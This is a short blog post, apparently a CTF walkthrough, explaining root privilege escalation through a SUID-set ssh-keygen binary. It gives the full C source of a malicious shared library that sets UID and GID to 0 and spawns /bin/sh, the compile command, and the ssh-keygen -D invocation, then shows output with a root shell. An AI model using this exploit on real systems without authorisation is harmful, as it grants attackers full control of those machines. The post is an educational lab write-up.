Back to blog

Library Loading Abuse in SUID ssh-keygen

·

Introduction

Recently I was doing a CTF Machine and I found that the ssh-keygen binary has the SUID bit set. I initially ignored it since it looked quite useless but then I realized that it could be used to privesc through SUID, so I decided to write about it.

First let's define some terms:

  • What is ssh-keygen?

ssh-keygen is a utility for generating and managing SSH key pairs. It is commonly used to generate SSH keys for use with SSH clients and servers.

  • What is SUID?

SUID is a special permission that allows a user to execute a file with the permissions of the file's owner.

  • What is Library Loading Abuse?

Library Loading Abuse is a technique that allows a user to load a library that is not normally allowed to be loaded.

  • What is the vulnerability?

The vulnerability is that ssh-keygen can be used to load a library that is not normally allowed to be loaded.

Execution

Confirming the permissions of the binary:

$ ls -l /bin/ssh-keygen
-rwsr-xr-x 1 root root 477488 Apr 11  2025 /bin/ssh-keygen

The s indicates the SUID bit is set.

Now lets make a library that will spawn a shell.

#include <stdlib.h>
#include <unistd.h>
 
void *C_GetFunctionList(void) { return NULL; }
 
__attribute__((constructor))
int main() {
    setuid(0);
    setgid(0);
    system("/bin/sh");
    return 0;
}
Info

void *C_GetFunctionList(void) { return NULL; } is added because without it we get this annoying error from ssh-keygen's loader of ./sol1.so does not contain expected string C_GetFunctionList.


__attribute__((constructor)) tells the loader to automatically execute the function when the shared library is loaded, before normal program execution continues.


setuid(0) & setgid(0) are used to set the UID and GID to root (0).

And we compile with gcc -shared -fPIC exploit.c -o exploit.so.

Now we need to load the library into the ssh-keygen binary which is as easy as ssh-keygen -D ./exploit.so and doing so...

$ ssh-keygen -D ./sol.so
# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)

And now we are root!

Conclusion

That was pretty easy right? I hope you learned something from this post.